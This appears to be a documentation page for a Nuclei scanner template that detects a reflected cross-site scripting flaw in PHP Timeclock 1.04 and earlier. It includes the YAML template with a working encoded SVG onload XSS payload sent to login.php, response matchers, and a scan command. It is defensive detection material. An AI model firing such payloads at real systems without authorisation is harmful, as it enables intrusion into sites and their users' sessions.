PHP Timeclock <=1.04 - Cross-Site Scripting
ID: php-timeclock-xss
Severity: high
Author: pikpikcu
Tags: xss,php,timeclock,edb,intrusive
Description
Section titled “Description”PHP Timeclock 1.04 and prior contains multiple cross-site scripting vulnerabilities via login.php, timeclock.php, reports/audit.php. and reports/timerpt.php
YAML Source
Section titled “YAML Source”id: php-timeclock-xss
info: name: PHP Timeclock <=1.04 - Cross-Site Scripting author: pikpikcu severity: high description: PHP Timeclock 1.04 and prior contains multiple cross-site scripting vulnerabilities via login.php, timeclock.php, reports/audit.php. and reports/timerpt.php reference: - https://www.exploit-db.com/exploits/49853 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 1 tags: xss,php,timeclock,edb,intrusive
http: - method: GET path: - "{{BaseURL}}/login.php/'%3E%3Csvg/onload=alert%60{{randstr}}%60%3E"
matchers-condition: and matchers: - type: status status: - 200
- type: word words: - "<svg/onload=alert`{{randstr}}`>" - "PHP Timeclock Admin Login" part: body condition: and
- type: word words: - "text/html" part: header# digest: 4a0a0047304502205c5dd21a6f1803cc40bc1de93eaf9bb16f63ccf2be33daa846abbf1a98c44c4c022100cd51998e16f59ab2a81b0808af418ee1b5331c69b65e59f87f4814d5edd952f1:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/php-timeclock-xss.yaml"